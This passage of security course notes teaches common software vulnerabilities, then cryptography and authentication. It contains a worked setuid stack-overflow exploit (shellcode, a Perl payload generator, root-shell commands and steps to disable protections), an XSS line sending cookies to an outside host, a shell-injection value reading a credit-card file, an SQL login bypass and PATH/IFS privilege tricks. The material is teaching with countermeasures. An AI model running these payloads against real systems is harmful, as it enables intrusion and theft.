- Race conditions – time of check to time of use
- Incomplete checking of environment
- Unexpected side channels (time, power, electro-magnetic radiation, temperature, micro-architecture, etc.)
- Lack of authentication

The “curses of security” (Gollmann): change, complacency, convenience (software reuse for inappropriate purposes, too large TCB, etc.)


Missing check of data size: buffer overflow on stack

A C program declares a local short string variable

```c
char buffer[80];
```

and then uses the standard C library routine call

```c
gets(buffer);
```

to read a single text line from standard input and save it into `buffer`. This works fine for normal-length lines but corrupts the stack if the input is longer than 79 characters. Attacker loads malicious code into `buffer` and redirects return address to its start:

<table>
<thead>
<tr>
<th>Memory:</th>
<th>Program</th>
<th>Data</th>
<th>Heap</th>
<th>free</th>
<th>Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stack:</td>
<td>...</td>
<td>buffer[80]</td>
<td>FP</td>
<td>RET</td>
<td>Parameters</td>
</tr>
</tbody>
</table>
Buffer overflow exploit

To exploit a buffer overflow, the attacker typically prepares a byte sequence ("shell code") that consists of

- "landing pad" or "NOP-sled" – an initial series of no-operation (NOP) instructions that allow for some tolerance in the entry jump address
- machine instructions that modify a security-critical data structure or that hand control to another application to gain more access (e.g., a command-line shell)
- some space for function-call parameters or stack operations
- the estimated start address of the buffer (landing pad), in the form used for return addresses on the stack. (may be repeated)

Buffer-overflow exploit sequences often have to fulfil format constraints, e.g. not contain any NUL or LF bytes (which would not be copied).

Aleph One: Smashing the stack for fun and profit. Phrack #49, November 1996.
http://phrack.org/issues/49/14.html#article

```c
# Linux/x86-64 - execve(/bin/sh, ['/bin/sh'], NULL) - 33 bytes
# http://shell-storm.org/shellcode/ by hophet
.intel_syntax noprefix
90   nop # landing pad ....
4831D2 xor rdx,rdx # rdx = 0
48BBFF2F mov rbx,0x68732f6e69622fff # rbx = '\xff/bin/sh'
62696E2F7368
48C1E0B0 shr rbx,0x8 # rbx = '/bin/sh\0' = '\xff/bin/sh' << 8
53   push rbx # *(--rsp) = '/bin/sh\0'
4889E7 mov rdi,rsp # rdi = rsp = '/bin/sh\0'
4831C0 xor rax,rax # rxa = 0
50   push rax # *(--rsp) = NULL
57   push rdi # *(--rsp) = ['"/bin/sh\0", NULL]
4889E6 mov rsi,rsp # rsi = ['"/bin/sh\0", NULL]
B03B mov al,0x3b # rax = 0x3b: execve()
0F05 syscall # execve(rdi = '/bin/sh\0',
              #   rsi = ['"/bin/sh\0", NULL], rdx = NULL )
6A01 push 0x1 # *(--rsp) = 1
5F   pop rdi # rdi = *(rsp++) = 1
6A3C push 0x3c
58   pop rax # rax = 0x3c: exit()
0F05 syscall # exit(rdi = 1)
# leave stack space for at least 3-5 push operations:
# '"/bin/sh\0" | NULL | '/bin/sh\0' CODF0000 .quad 0x7fffffffdf00 # landing pad address (overwrites return addr.)
FF7F0000
```

In the following demonstration, we attack a very simple example of a vulnerable C program that we call stacktest. Imagine that this is (part of) a setuid-root application installed on many systems:

```c
int main() {
    char buf[128];
    strcpy(buf, getenv("PRINTER"));
    printf("Printer name: %s\n", buf);
}
```

This program reads the environment variable $PRINTER$, which normally contains the name of the user’s default printer, but which the user can replace with an arbitrary byte string.

It then uses the `strcpy()` function to copy this string into a 128-bytes long character array `buf`, which it then prints.

The `strcpy(dest, src)` function copies bytes from `src` to `dest`, until it encounters a 0-byte, which marks the end of a string in C.

A safer version of this program could have checked the length of the string before copying it. It could also have used the `strncpy(dest, src, n)` function, which will never write more than `n` bytes:

```c
strncpy(buf, getenv("PRINTER"), sizeof(buf)-1); buf[sizeof(buf)-1] = 0;
```

The attacker first has to guess the stack pointer address in the procedure that causes the overflow. It helps to print the stack-pointer address in a similarly structured program stacktest2:

```c
unsigned long getsp(void) {
    __asm__("movq %rsp,%rax"); // AT&T syntax
}
```

```c
int main() {
    char buf[128];
    printf("getsp() = 0x%016lx\n", getsp());
}
```

The function `getsp()` simply moves the stack pointer `rsp` into the `rax` register, which C functions use (with Linux x86-64 calling conventions) to return integer values. We call `getsp()` at the same function-call depth (and with equally sized local variables) as `strcpy()` in stacktest:

```
$ ./stacktest2
getsp() = 0x000007ffffffffdfb0
```
The attacker also needs an auxiliary script `stackattack.pl` to prepare the exploit string:

```perl
#!/usr/bin/perl
$shellcode = "\x48\x31\xd2\x48\xbb\xff/bin/sh\x48\xc1\xeb" . 
"\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f" . 
"\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";
print("\x90" x ($ARGV[0] + 8 - (length($shellcode) % 8)), 
$shellcode, "\x90" x $ARGV[4], 
pack('Q', hex($ARGV[1]) + $ARGV[2]) x $ARGV[3]);
```

This produces:

```
$ ./stackattack.pl 48 0x7fffffffdfb0 16 1 40 | hexdump -vC
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000030 90 90 90 90 90 90 90 90 90 90 90 8 31 d2 48 6e |......H1.H...bi|
00000040 6a 2f 73 68 48 c1 eb 08 53 48 89 e7 48 31 c0 |n/shH...SH..H1.P|
00000050 57 48 89 e6 b0 3b 0f 05 6a 01 5f 6a 3c 58 0f |WH...;..j._j<X..|
00000060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
```

Finally, we feed the output of this tool into the environment variable `$PRINTER` and call the vulnerable application:

```
$ sudo chown root /tmp/stacktest
$ sudo chmod u+s /tmp/stacktest
$ PRINTER=`./stackattack.pl 48 0x7fffffffdfb0 16 1 40`
$ /tmp/stacktest
# id
uid=0(root) gid=0(root) groups=0(root)
```

Some experimentation leads to our choice of a 48-byte long NOP landing pad and a start address pointing to a location 16 bytes above the estimated stack pointer address. 40 more NOP bytes leave space for stack operations and only a single copy of the start address at the end overwrites the return value. (Why is repeating the return address not practical here?)

These parameters can also be chosen by observing the stack and buffer overflow in a debugger. A gdb extension to support such exploit preparation is <https://github.com/longld/peda>.

We have successfully started a command interpreter as root with the help of a buffer-overflow attack against a setuid root application. Similar control-flow takeover attacks are also possible against server processes via their network ports, against document viewers via the files that they open, and against many other programs that parse data from untrusted sources and were written in programming languages that do not enforce memory safety.
Buffer overflow countermeasures, control-flow integrity

In order of preference:

- Use programming languages with array bounds checking (Java, Ada, C#, Perl, Python, Go, etc.). Reduces performance slightly, but has significant other advantages (easier debugging, isolation and early detection of memory violations).

- Compiler adds check values (stack canaries/protectors) between buffers and return addresses on stack:

  ![Buffer overflow countermeasures, control-flow integrity](image)

  A canary value should be difficult to guess (random number) and difficult to write via vulnerable library functions (e.g., contain terminator bytes such as NUL, LF).

- Shadow stacks

- Let memory-management unit disable code execution on the stack. An NX bit (non-executable page) was added to the page-table entries of some recent CPUs (e.g., AMD/Intel x86-64 architecture, ARM v6) for this purpose.

- Address space layout randomization (ASLR)

  Some operating systems add a random offset to the base of the stack, heap, executable, and shared libraries. But low-entropy offsets (e.g., 16 bits in OS X and 32-bit Linux) can be brute-forced in minutes. Linux executable can only be loaded to random offset if compiled as position-independent executable (PIE).

Practical caveats

To make the above demonstration actually work on Ubuntu Linux 16.04, many countermeasures have to be deactivated first:

- Disable compiler-generated stack protection and leave the stack executable:

  ```sh
  $ gcc -fno-stack-protector -z execstack stacktest.c -o /tmp/stacktest
  ```

- Disable address-space layout randomization (ASLR), either system-wide with

  ```sh
  # echo 0 > /proc/sys/kernel/randomize_va_space
  ```

  or just for this one process with

  ```sh
  $ PRINTER=... setarch x86_64 -R /tmp/stacktest
  ```

- Some shells (bash, dash) deliberately drop setuid privileges, setting effective-UID := real-UID. A command-line interpreter that does not is /usr/bin/python. Copy it to /tmp/py and then change in the shell code /bin/sh to that. Copying is needed as Linux (since kernel 3.6) can hinder the use of hard or soft links to execute setuid programs, see /proc/sys/fs/protected_hardlinks in "man proc".

- Linux/x86-64 uses a 48-bit virtual address space, therefore the two most significant bytes of the 64-bit return address must remain zero. But what if we can’t pass on zero bytes (e.g. via strcpy)? Thanks to Intel’s little-endian integer format, we can limit ourselves to overwriting only the first six less-significant bytes of the return address, and leave the remaining two bytes zero!

- On Linux/x86-64 the length of environment variables affect the position of the stack pointer, therefore set $PRINTER also for stacktest2.
Buffer overflows: return-oriented programming (ROP)

If stack execution is disabled (NX), exploit existing instructions elsewhere.

Example:

▶ search the executable for useful sequences such as

\[
\begin{align*}
    r0: & \quad \text{pop rax} \quad \# \text{fetch new register value from stack} \\
    & \quad \text{ret}
\end{align*}
\]

or

\[
\begin{align*}
    r1: & \quad \text{syscall} \quad \# \text{system call into kernel} \\
    & \quad \text{ret}
\end{align*}
\]

▶ overwrite the stack starting at the return address with

- address \( r0 \)
- desired value of RAX register (e.g. 0x3b = execve())
- address \( r1 \)

This way, the attacker can still write programs on the stack that load registers and invoke system calls, without executing any machine instructions on the stack.

A good description of the state of the art in buffer overflow exploits:
http://dx.doi.org/10.1109/SP.2014.22

Buffer overflows: other exploit techniques

Buffer overflow exploits can also target other values than return addresses on the stack: security critical variables, function pointers that get called later, frame pointer.

Heap exploits:

▶ Overflowing buffer was obtained with malloc()/free().

▶ The overflowing buffer sits in a “chunk”, a unit of allocation used by the heap management library, next to other such chunks.

▶ Buffer overflows on the heap can be exploited by overwriting pointers in the metadata associated with the next chunk.

▶ In a typical heap implementation, this metadata contains chunk-size information and two pointers forward and backward, for keeping deallocated chunks in a doubly-linked list.

▶ The free() operation will manipulate these values to return a chunk into a doubly-linked list. After careful manipulation of a chunk’s metadata, a call of free() on a neighbour chunk will perform any desired write operation into memory.

Andries E. Brouwer: Hackers Hut. Section 11: Exploiting the heap.
http://www.win.tue.nl/~aeb/linux/hh/
Missing check of input data: shell meta-characters

Example: A web server allows users to provide an email address in a form field to receive a file. The address is received by a naïvely implemented Perl CGI script and stored in the variable $email. The CGI script then attempts to send out the email with the command

    system("mail $email <message");

This works fine as long as $email contains only a normal email address, free of shell meta-characters. An attacker provides a carefully selected pathological address such as

    trustno1@hotmail.com < /var/db/creditcards.log ; echo

and executes arbitrary commands (here to receive confidential data via email).

Solutions:

▶ Use a safe API function instead of constructing shell commands.
▶ Prefix/quote each meta-character handed over to another software with a suitable escape symbol (e.g., \ or "..." for the Unix shell).

Warning: Secure escaping of meta-characters requires a complete understanding of the recipient's syntax ⇒ rely on well-tested (binary transparent) library routines for this, rather than try to quickly improvise your own. The recipient syntax might even change during the lifetime of your product.

SQL injection

Checks for meta characters are very frequently forgotten for text strings that are passed on to SQL engines.

Example: a Perl CGI script prepares an SQL query command in order to look-up the record of a user who has just entered their name and password into a web-site login field:

    $sql = "SELECT * FROM usr WHERE id='$login' AND pw='$pwd';";

Normal users might type john56 and 9SqRwJmhb into the web form, resulting in the desired SQL query

    SELECT * FROM usr WHERE id='john56' AND pw='9SqRwJmhb';

A malicious user might instead submit username john56'; -- resulting in the undesired SQL command

    SELECT * FROM usr WHERE id='john56'; --' AND pw=''

which causes the lookup to succeed with any password and the remaining query text (' AND pw=...) to be ignored as a comment.
HTML cross-site scripting

Social-network websites receive text strings from users (names, messages, filenames, etc.) that they embed into HTML code pages served to other users.

Check for HTML meta-characters (such as <>&"') or users can inject into your web pages code that is executed by other’s web browsers.

Acceptable user-provided HTML text

Simple typographic elements:
My dog is <b>huge</b>.

Unacceptable user-provided HTML

JavaScript code that accesses the session authentication “cookie” string of the victim and then “exfiltrates” it by appending it to an image-load request:

```
<img src="logo.png" width=1 height=1
    onload="src='http://spooks.r.us/'+document.cookie">
```

Subtle syntax incompatibilities

Example: Overlong UTF-8 sequences

The UTF-8 encoding of the Unicode character set was defined to use Unicode on systems (like Unix) that were designed for ASCII. The encoding

```
U000000 - U00007F: 0xxxxxxx
U000080 - U0000FF: 110xxxxx 10xxxxxx
U000800 - U00FFFF: 1110xxxx 10xxxxxx 10xxxxxx
U010000 - U10FFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
```

was designed, such that all ASCII characters (U0000–U007F) are represented by ASCII bytes (0x00–0x7f), whereas all non-ASCII characters are represented by sequences of non-ASCII bytes (0x80–0xff).

The xxx bits are simply the least-significant bits of the binary representation of the Unicode number. For example, U00A9 = 1010 1001 (copyright sign) is encoded in UTF-8 as

```
11000010 10101001 = 0xc2 0xa9
```
Only the shortest possible UTF-8 sequence is valid for any Unicode character, but many UTF-8 decoders accept also the longer variants. For example, the slash character ‘/’ (U002F) can be the result of decoding any of the four sequences

```
00101111 = 0x2f
11000000 10101111 = 0xc0 0xaf
11100000 10000000 10101111 = 0xe0 0x80 0xaf
11110000 10000000 10000000 10101111 = 0xf0 0x80 0x80 0xaf
```

Many security applications test strings for the absence of certain ASCII characters. If a string is first tested in UTF-8 form, and then decoded into UTF-16 before it is used, the test will not catch overlong encoding variants.

This way, an attacker can smuggle a ‘/’ character past a security check that looks for the 0x2f byte, if the UTF-8 sequence is later decoded before it is interpreted as a filename (as is the case under Microsoft Windows, which led to a widely exploited IIS vulnerability).

https://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8

### Exposure to environment I

Developers easily forget that the semantics of many library functions depends not only on the parameters passed to them, but also on the state of the execution environment.

Example of a vulnerable setuid root program `/sbin/envdemo`:

```c
int main() {
    system("rm /var/log/msg");
}
```

The C library function `system(...)` passes a command string to the shell via `/bin/sh -c "..."

The attacker can manipulate the `$PATH` environment variable, such that her own `rm` program is called, rather than `/bin/rm`:

```
$ cp /bin/sh rm
$ export PATH=.:$PATH
$ envdemo
# id
uid=0(root) gid=0(root) groups=0(root)
```

Best avoid unnecessary use of the functionally rich command shell: `unlink("/var/log/msg");`
Exposure to environment II

We notify the developers of /sbin/envdemo ("responsible disclosure"). They eventually fix their code by using an absolute path (setting an environment variable to choose between /bin/rm and /usr/bin/rm for portability):

```c
setenv("RM", "/bin/rm", 1)
system("$RM /var/log/msg");
```

Better now? No:

```
$ cp /bin/sh bin
$ export PATH=.:$PATH IFS=/
$ envdemo
  # id
  uid=0(root) gid=0(root) groups=0(root)
```

The Unix shell variable IFS (internal field separator) configures which characters separate words after parameter expansion. Typical application:

```
$ ( PATH=/bin:/usr/bin IFS=: ; ls -ld $PATH )
drwxr-xr-x 2 root root 4096 Apr 23 09:06 /bin
drwxr-xr-x 4 root root 86016 May 11 12:56 /usr/bin
```

The effect here: /sbin/envdemo executes the shell command

```
  system("bin rm /var/log/msg");
```

Such vulnerabilities have led to the insight that the Unix shell should never be used in a setuid context. Modern shells therefore drop such privileges by setting the effective UID to the real UID.

---

Integer overflows

Integer numbers in computers behave differently from integer numbers in mathematics. For an unsigned 8-bit integer value, we have

```
255 + 1 == 0
0 - 1 == 255
16 * 17 == 16
```

and likewise for a signed 8-bit value, we have

```
127 + 1 == -128
-128 / -1 == -128
```

And what looks like an obvious endless loop

```
int i = 1;
while (i > 0)
  i = i * 2;
```

terminates after 15, 31, or 63 steps (depending on the register size).
Integer overflows are easily overlooked and can lead to buffer overflows and similar exploits. Simple example (OS kernel system-call handler):

```c
char buf[128];

combine(char *s1, size_t len1, char *s2, size_t len2) {
    if (len1 + len2 + 1 <= sizeof(buf)) {
        strncpy(buf, s1, len1);
        strncat(buf, s2, len2);
    }
}
```

It appears as if the programmer has carefully checked the string lengths to make a buffer overflow impossible.

But on a 32-bit system, an attacker can still set \texttt{len2 = 0xffffffff}, and the \texttt{strncat} will be executed because

\[
\text{len1 + 0xffffffff + 1} = \text{len1} < \text{sizeof(buf)}.
\]

Related are integer type vulnerabilities in C, e.g. careless conversions between signed (e.g., \texttt{int}, \texttt{long}) and unsigned (e.g., \texttt{unsigned long}, \texttt{size_t}) integer types: \texttt{(size_t) -1 > 0}.

### Race conditions

Developers often forget that they work on a preemptive multitasking system. Historic example:

The xterm program (an X11 Window System terminal emulator) is setuid root and allows users to open a log file to record what is being typed. This log file was opened by xterm in two steps (simplified version):

1) Change in a subprocess to the real uid/gid, in order to test with \texttt{access(logfilename, W_OK)} whether the writable file exists. If not, creates the file owned by the user.

2) Call (as root) \texttt{open(logfilename, O_WRONLY | O_APPEND)} to open the existing file for writing.

The exploit provides as \texttt{logfilename} the name of a symbolic link that switches between a file owned by the user and a target file. If \texttt{access()} is called while the symlink points to the user’s file and \texttt{open()} is called while it points to the target file, the attacker gains via xterm’s log function write access to the target file (e.g., \texttt{~root/.rhosts}).
Insufficient parameter checking

Historic read buffer overflow example in a smartcard:

ISO 7816-3 T=0 application protocol data unit (APDU) exchange:

reader -> card:   CLA INS P1 P2 LEN
card  -> reader:  INS
card <-> reader:  ... LEN data bytes ...
card  -> reader:  90 00

All exchanges start with a 5-byte header in which the last byte identifies the number of bytes to be exchanged.

In some vulnerable smartcard implementations, the routine for sending data from the card to the reader blindly trusted the LEN value received.

Attackers could simply provide longer LEN values than intended by the protocol. They then received RAM content beyond the data-transmission buffer, including from areas which contained secret keys.

Two decades later, essentially the same vulnerability was discovered in OpenSSL a widely used implementation of the TLS encryption protocol, giving unauthenticated HTTPS users unauthorized access to 64 kilobyte chunks of memory content, which occasionally contained valuable secret keys. (CVE-2014-0160 “Heartbleed”)

Random bit generation I

In order to generate the keys and nonces needed in cryptographic protocols, a source of random bits unpredictable for any adversary is needed. The highly deterministic nature of computing environments makes finding secure seed values for random bit generation a non-trivial and often neglected problem.

Example (insecure)

The Netscape 1.1 web browser used a random-bit generator that was seeded from only the time of day in microseconds and two process IDs. The resulting conditional entropy for an eavesdropper was small enough to enable a successful brute-force search of the SSL encryption session keys.

http://www.eecs.berkeley.edu/~daw/papers/ddj-netscape.html
Random bit generation II

Examples for sources of randomness:

- dedicated hardware (amplified thermal noise from reverse-biased diode, unstable oscillators, Geiger counters)
- high-resolution timing of user behaviour (key strokes, mouse movement)
- high-resolution timing of peripheral hardware response times (e.g., disk drives)
- noise from analog/digital converters (sound card, camera)
- network packet timing and content
- high-resolution time

None of these random sources alone provides high-quality statistically unbiased random bits, but such signals can be fed into a hash function to condense their accumulated entropy into a smaller number of good random bits.

Random bit generation III

The provision of a secure source of random bits is now commonly recognised to be an essential operating system service.

Example (good practice)

The Linux /dev/random device driver uses a 4096-bit large entropy pool that is continuously hashed with keyboard scan codes, mouse data, inter-interrupt times, and mass storage request completion times in order to form the next entropy pool. Users can provide additional entropy by writing into /dev/random and can read from this device driver the output of a cryptographic pseudo random bit stream generator seeded from this entropy pool. Operating system boot and shutdown scripts preserve /dev/random entropy across reboots on the hard disk.

http://www.cs.berkeley.edu/~daw/rnd/
http://www.ietf.org/rfc/rfc1750.txt
Penetration testing / flaw hypothesis method

- Put together a team of software developers with experience on the tested platform and in computer security.
- Study the user manuals and (where available) the design documentation and source code of the target of evaluation.
- Based on the information gained, prepare a list of potential flaws that might allow users to violate the claimed/document security policy (vulnerabilities). Consider in particular:
  - System control structure (interactions between parts and users)
  - Common programming pitfalls
  - Historic vulnerabilities and attack strategies (see page 89)
  - Gaps in the documented functionality
    A missing documented error message for an invalid parameter suggests that the programmer forgot to add the check.
  - Rarely used, exotic, or recently added functions or commands
- Sort the list of flaws by estimated likelihood and ease of testing.
- Test for these flaws until available time or budget is exhausted.
- Add new flaw hypotheses as test results provide further clues.


Fuzz testing

Automatically generate random, invalid and unexpected program inputs, until one is found that crashes the software under test.

Then investigate the cause of any crash encountered.

Surprisingly productive technique for finding vulnerabilities, especially buffer overflows, memory-allocation and inband-signaling problems.

Strategies to increase code coverage:

- Mutation fuzzing: randomly modify existing valid test examples.
- Structure-aware fuzzing: test generator has syntax description of file formats or network packets, generates tests that contain a mixture of valid and invalid fields.
- GUI fuzzing: send random keyboard and mouse-click events.
- White-box fuzzing: use static program analysis, constraint solving to generate test examples.
- Gray-box fuzzing: use code instrumentation instead of program analysis.
- Evolutionary fuzzing: mutation fuzzing with feedback from execution traces.

american fuzzy lop: http://lcamtuf.coredump.cx/afl/
Cryptography – secure hash function

A hash function \( h : \{0, 1\}^* \to \{0, 1\}^n \) maps variable-length bit strings to short, fixed-length bit strings using an efficient deterministic algorithm such that the probability of a collision \( h(X) = h(Y) \) for typical inputs \( X \neq Y \) is minimized.

A secure hash function aims to be collision resistant, i.e. to make it computationally infeasible for anyone to find any pair of input strings \( X \) and \( Y \) such that \( h(X) = h(Y) \) with \( X \neq Y \).

Collisions for any function with \( 2^n \) possible outputs can likely be found in about \( \sqrt{2^n} = 2^{n/2} \) steps (“birthday problem”). So if attacks with \(< 2^{100} \) steps are feasible, a secure hash function must output \( n > 200 \) bits.

Commonly used standards for collision-resistant, secure hash functions:

- \( \text{SHA-2 family (} n = 224, 256, 384, 512 \) \)
  - for 32-bit CPUs: SHA-224, SHA-256 (\( \approx 20 \) cycles/byte)
  - for 64-bit CPUs: SHA-384, SHA-512, SHA-512/224, SHA-512/256 (\( \approx 10 \) cycles/byte)
- \( \text{SHA-3 (arbitrary output length)} \)

Earlier attempts MD4, MD5 (\( n = 128 \)) and SHA-1 (\( n = 160 \)) have suffered collisions and are no longer recommended for applications that require collision resistance.

Cryptography – message authentication code (MAC)

A message authentication code function

\[ \text{Mac} : \{0, 1\}^k \times \{0, 1\}^* \to \{0, 1\}^n \]

maps a \( k \)-bit private key \( K \) and a variable-length message \( M \) to an \( n \)-bit tag \( \text{Mac}_K(M) \), such that any opponent who does not know key \( K \) cannot guess the tag \( \text{Mac}_K(M) \) correctly with probability better than \( \approx 2^{-n} \). (“existential unforgeability”)

We assume here

- the opponent can query \( \text{Mac}_K(M') \) for many other messages \( M' \neq M \);
- the opponent knows the definition (source code) of the MAC used, except for key \( K \) (Kerckhoffs’ principle);
- \( K \) was picked uniformly at random out of \( \{0, 1\}^k \).

Common standard functions for message authentication codes:

- CMAC-AES – block-cipher based
- HMAC-MD5, HMAC-SHA-1, HMAC-SHA-2, SHA-3 – hash based
Cryptography – private-key encryption scheme

A private-key (or symmetric) encryption scheme is a pair of functions

\[
\begin{align*}
\text{Enc} : \{0,1\}^k \times \{0,1\}^* &\rightarrow \{0,1\}^{*+v} \\
\text{Dec} : \{0,1\}^k \times \{0,1\}^{*+v} &\rightarrow \{0,1\}^*
\end{align*}
\]

where Enc is an efficient, non-deterministic function (randomized algorithm) that maps a \(k\)-bit private key \(K\) and a variable-length plaintext message \(M\) to a \(v\) bits longer ciphertext message \(C = \text{Enc}_K(M)\) such that \(M = \text{Dec}_K(C)\) where Dec is an efficient deterministic algorithm, and such that an opponent who does not know \(K\) must not be able to learn anything new about \(M\) (other than the length of \(M\)) from being able to observe \(C = \text{Enc}_K(M)\).

We assume here
- the opponent can query \(\text{Enc}_K(M')\) for many different plain-text messages \(M'\) (including \(M\));
- the opponent knows the definition (source code) of Enc and Dec, except for key \(K\) (Kerckhoffs’ principle);
- \(K\) was picked uniformly at random out of \(\{0,1\}^k\).

Cryptography – authenticated encryption scheme

Private-key encryption schemes can be used to ensure message confidentiality and message-authentication codes can be used to offer message integrity, but not visa versa. Some care is needed to to provide both confidentiality and integrity at the same time.

An authenticated encryption scheme (AE) is a private-key encryption scheme that also provides ciphertext integrity, that is its decryption function will reject as invalid any ciphertext message that was not generated by the encryption function using the same private key \(K\). An opponent will not be able to forge a valid new ciphertext (e.g., by manipulating another valid ciphertext they have received before) that the decryption function will then accept.

One way to implement an authenticated encryption function is use a key-derivation function (KDF) to derive from a private key \(K\) two different new keys \(K_e\) and \(K_m\) for use with a private-key encryption function Enc and a message authentication function Mac. The authenticated encryption function then first encrypts the plain-text message \(M\) and then appends the message authentication code of the ciphertext (which may also cover associated plain-text data, AEAD):

\[
\{M\}_K = \text{Enc}_{K_e}(M) \parallel \text{Mac}_{K_m} (\text{Enc}_{K_e}(M)), \quad \text{where} \quad K_e \parallel K_m = \text{KDF}(K)
\]

The authenticated decryption function first recomputes and compares the appended MAC of the ciphertext, and aborts with an error if it does not match, before decrypting the included ciphertext.

Standard AEAD schemes: AES-GCM, AES-CCM, AES-EAX, AES-OCB

Getting this right is surprisingly difficult: don’t invent your own schemes without security proof.
Public-key cryptography

Opponents may see $PK$, but not $SK$.

### Key exchange

- $(PK_A, SK_A) \leftarrow$ Gen, public/secret key-pair generation by Alice
- $(PK_B, SK_B) \leftarrow$ Gen, public/secret key-pair generation by Bob
- $K := \text{DH}(SK_A, PK_B) = \text{DH}(PK_A, SK_B)$, key derivation from exchanged public keys

### Digital signature

- $(PK, SK) \leftarrow$ Gen, public/secret key-pair generation
- $S \leftarrow \text{Sign}_{SK}(M)$, signature generation using secret key
- $\text{Vrfy}_{PK}(M, S) = 1$, signature verification using public key
- $M' \neq M \Rightarrow \text{Vrfy}_{PK}(M', S) = 0$

Probabilistic algorithms: Gen and Sign may access a random-bit generator that can toss coins (uniformly distributed, independent).

Notation: $\leftarrow$ assigns the output of a probabilistic algorithm, $:=$ that of a deterministic algorithm.

---

Cryptography – application examples

**Home and Business:**

Mobile phones, DVD/Blu-ray players, pay-TV decoders, game consoles, utility meters, Internet (SSL, S/MIME, PGP, SSH), software license numbers, disk encryption, door access cards, car keys, burglar alarms

**Military:**

Identify friend/foe systems, tactical radios, low probability of intercept and jamming resistant radios and radars (spread-spectrum and frequency-hopping modulation), weapon-system unlock codes and permissive action links for nuclear warheads, navigation signals

**Banking:**

Card authentication codes, PIN verification protocols, funds transfers, online banking, electronic purses, digital cash, crypto assets
Identification and entity authentication

Needed for access control and auditing. Humans can be identified by

▶ something they are
  Biometric identification: iris texture, retina pattern, face or fingerprint recognition, finger or hand geometry, palm or vein patterns, body odor analysis, etc.

▶ something they do
  Handwritten signature dynamics, keystroke dynamics, voice, lip motion, etc.

▶ something they have
  Access tokens: physical key, id card, smartcard, mobile phone, PDA, etc.

▶ something they know
  Memorised secrets: password, passphrase, personal identification number (PIN), answers to questions on personal data, etc.

▶ where they are
  Location information: terminal line, telephone caller ID, Internet address, mobile phone or wireless LAN location data, GPS

For high security, several identification techniques need to be combined to reduce the risks of false-accept/false-reject rates, token theft, carelessness, relaying and impersonation.

Passwords / PINs

Randomly picked single words have low entropy, dictionaries have less than $2^{18}$ entries. Common improvements:

▶ restrict rate at which passwords can be tried (reject delay)
▶ monitor failed logins
▶ require minimum length and inclusion of digits, punctuation, and mixed case letters
▶ suggest recipes for difficult to guess choices (entire phrase, initials of a phrase related to personal history, etc.)
▶ compare passwords with directories and published lists of popular passwords (person’s names, pet names, brand names, celebrity names, patterns of initials and birthdays in various arrangements, etc.)
▶ issue randomly generated PINs or passwords, preferably pronounceable ones
▶ encourage use of a password manager, machine-generated tokens, and use of independent passwords for each trust domain
Examples of human-generated PINs and passwords

Left: 4-digit password distribution from RockYou breach (compiled by Joseph Bonneau)
Right: selection of Keeper top-25 most common passwords leaked in 2016

Implement password verifications

Other password related problems and security measures:

▶ Trusted path – user must be sure that entered password reaches the correct software (→ Ctrl+Alt+Del on Windows NT aborts any GUI application and activates proper login prompt)

▶ Confidentiality of password database – instead of saving password $P$ directly or encrypted, store only $h(P)$, where $h$ is a one-way hash function → no secret stored on host

▶ Brute-force attacks against stolen password database – store $(S, h^n(S∥P))$, where a one-way hash function $h$ is iterated $n$ times to make the password comparison inefficient, and $S$ is a nonce (“salt value”) that is concatenated with $P$ to prevent comparison with precalculated hashed dictionaries.

PBKDF2 is a widely used password-based key derivation function using this approach.

▶ Eavesdropping – one-time passwords, authentication protocols.

▶ Inconvenience of multiple password entries – single sign-on.
Authentication protocols

Authentication protocols allow a claimant to prove their identity to a verifier by showing their knowledge of a secret key.

They aim to prevent masquerade ($C$ pretending to be $A$) involving

- replay attacks – using a previously transmitted message
- reflection attacks – returning a previous message to its originator
- interleaving attacks – using information from one or more ongoing or previous authentication exchanges

Authentication protocols perform challenge–response exchanges of tokens that include unforgeable cryptographic check values such as

- message authentication codes, digital signatures

and time variant parameters (nonces) such as

- timestamps, sequence numbers, random numbers

generated such that they are extremely unlikely to repeat during the lifetime of an associated cryptographic key.


Authentication protocols – properties

- the number of message roundtrips required
- whether they provide unilateral or mutual authentication
- the key infrastructure that needs to be set up in advance
- whether they involve a trusted third party (CA, KDC)
- what key entropy is required, whether keys can be revoked
- the computational effort required by each side

Performance matters both for high-end network servers that authenticate hundreds or thousands of users per second, as well as for resource-constrained devices, such as radio-frequency identification (RFID) tags. Symmetric-cryptography schemes, such as MACs, are much faster to compute than asymmetric ones, such as digital signatures.

- their scalability

Can we operate many verifiers concurrently without synchronization?

- the number of bits exchanged

Sequence numbers can be much shorter than timestamps or unique/unguessable random numbers, and message-authentication codes can be much shorter than digital signatures.

- the security properties offered, and how easy these are to prove

- their privacy protections

Are identities revealed to unauthorized parties, such as eavesdroppers or fake verifiers?

- their ability to carry and protect additional transaction data or to even protect an entire stream of exchanged messages
Authentication protocols – notation

\( A, B, C, S \) Protocol participants (“principals”)

\( T_X \) Timestamp generated by participant \( X \)

\( N_X \) Sequence number generated by participant \( X \)

\( R_X \) Random number generated by participant \( X \)

\( K_{XY} \) Symmetric key shared between participants \( X \) and \( Y \)

\( PK_X, SK_X \) Public/secret key pair generated by participant \( X \)

\( M \) Optional message field (to identify which key to use, to include transaction data, etc.)

\( [X]_K = (X, \text{Mac}_K(X)) \),

i.e. protect integrity of message \( X \) by appending a MAC

\( \{X\}_K \) apply authenticated encryption to message \( X \)

\( [Y]\{X\}_K \) apply authenticated encryption to message \( X \), with additional plaintext data \( Y \) included in integrity protection

One-pass authentication (unilateral)

**Password or PIN:**

\[ A \xrightarrow[]{K_{AB}} B \]

Problem: Eavesdropper can replay \( K_{AB} \).

**MAC of implicit timestamp:**

\[ A \xrightarrow[]{M, \text{Mac}_{K_{AB}}(T_A, M)} B \]

